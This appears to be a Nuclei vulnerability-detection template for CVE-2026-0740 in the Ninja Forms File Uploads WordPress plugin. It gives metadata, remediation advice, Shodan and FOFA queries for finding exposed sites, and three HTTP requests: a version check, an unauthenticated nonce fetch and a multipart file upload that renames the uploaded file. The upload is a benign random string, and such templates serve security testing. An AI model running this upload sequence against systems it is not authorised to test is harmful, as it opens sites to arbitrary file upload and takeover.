id: CVE-2026-0740 info: name: Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload author: whattheslime severity: critical description: | Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution. impact: | Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise. remediation: | Update Ninja Forms File Uploads plugin to version 3.3.27 or later. reference: - https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/ - https://nvd.nist.gov/vuln/detail/CVE-2026-0740 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-0740 epss-score: 0.17415 epss-percentile: 0.95215 cwe-id: CWE-434 metadata: verified: true max-request: 4 vendor: ninjaforms product: ninja_forms_file_uploads cpe: cpe:2.3:a:ninjaforms:ninja_forms_file_uploads:*:*:*:*:*:wordpress:*:* shodan-query: http.html:"nfpluginsettings.js?ver=" fofa-query: body="nfpluginsettings.js?ver=" tags: cve,cve2026,wordpress,wp,wp-plugin,ninja-forms-uploads,file-upload,rce,vkev variables: field_id: "{{rand_int(1000000000, 9999999999)}}" flow: http(1) && http(2) && http(3) http: - method: GET path: - "{{BaseURL}}" redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'contains(body, "nfpluginsettings.js")' - 'status_code == 200' - 'compare_versions(version, "<= 3.3.26")' condition: and internal: true extractors: - type: regex name: version part: body group: 1 regex: - 'nfpluginsettings\.js\?ver=([0-9.]+)' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=nf_fu_get_new_nonce&field_id={{field_id}} matchers: - type: dsl dsl: - 'contains(body, "\"success\":true")' - 'contains(body, "\"nonce\":")' - 'status_code == 200' condition: and internal: true extractors: - type: regex name: nonce internal: true part: body group: 1 regex: - '"nonce":"([a-z0-9]+)"' - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=nucleiboundary --nucleiboundary Content-Disposition: form-data; name="action" nf_fu_upload --nucleiboundary Content-Disposition: form-data; name="nonce" {{nonce}} --nucleiboundary Content-Disposition: form-data; name="form_id" {{field_id}} --nucleiboundary Content-Disposition: form-data; name="field_id" {{field_id}} --nucleiboundary Content-Disposition: form-data; name="files-{{field_id}}"; filename="image.jpg" Content-Type: image/jpeg {{randstr}} --nucleiboundary Content-Disposition: form-data; name="image_jpg" {{randstr}}.txt --nucleiboundary-- matchers: - type: dsl dsl: - 'contains_all(body, "data\":{\"files", "tmp_name\":", "new_tmp_key\":")' - 'status_code == 200' condition: and # digest: 4b0a00483046022100f7523feec4ab26cadb3e3f63072feb0a60515c0c3dc8fae52b41423ec613951d022100bf1f5b3eea89a589b7b1dc65ff74da1110c7930f54ba0c562afc955a438d522b:922c64590222798bb761d5b6d8e72950